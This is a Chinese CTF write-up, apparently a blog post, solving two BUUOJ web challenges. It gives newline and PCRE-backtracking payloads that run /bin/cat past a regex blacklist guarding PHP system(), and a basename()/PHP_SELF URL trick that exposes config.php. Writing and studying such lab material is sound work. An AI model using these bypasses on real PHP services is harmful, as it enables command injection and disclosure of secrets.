本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[FBCTF2019]RCEService
Enter command as JSON:
让我们以JSON格式提交数据,我对其的理解就是提交一个值对键的格式
例如
?cmd={"cmd":"ls"}
传进去后发现检测到我们恶意命令
我们可以看下题目源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-/;-@[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
几乎所有命令都被禁止了,我们要尝试绕过
1.可以使用换行符%0a绕过
利用的是preg_match只识别第一行
我们可以构造payload//注意直接提交会进行url编码
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
第二种解法是看大佬们用PRCE解
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
这样也是可以的,值得研究一下 [Zer0pts2020]Can you guess it?
一个查询页面,提交东西提示wrong
有个源码链接,我们点开看一下
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问
http://411cb6a3-6152-413f-b8cd-f20124132402.node4.buuoj.cn:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)
我们看下代码
发现有个没见过的basename()函数
basename() 函数返回路径中的文件名部分。
括号里面的$_SERVER['PHP_SELF']的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址
比如path);` 就是index.php
我们要想访问config,但是config.php被正则过滤了
本题目利用的是basename()漏洞
用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)
构造
/index.php/config.php/%ff?source
因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag
知识点:
php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量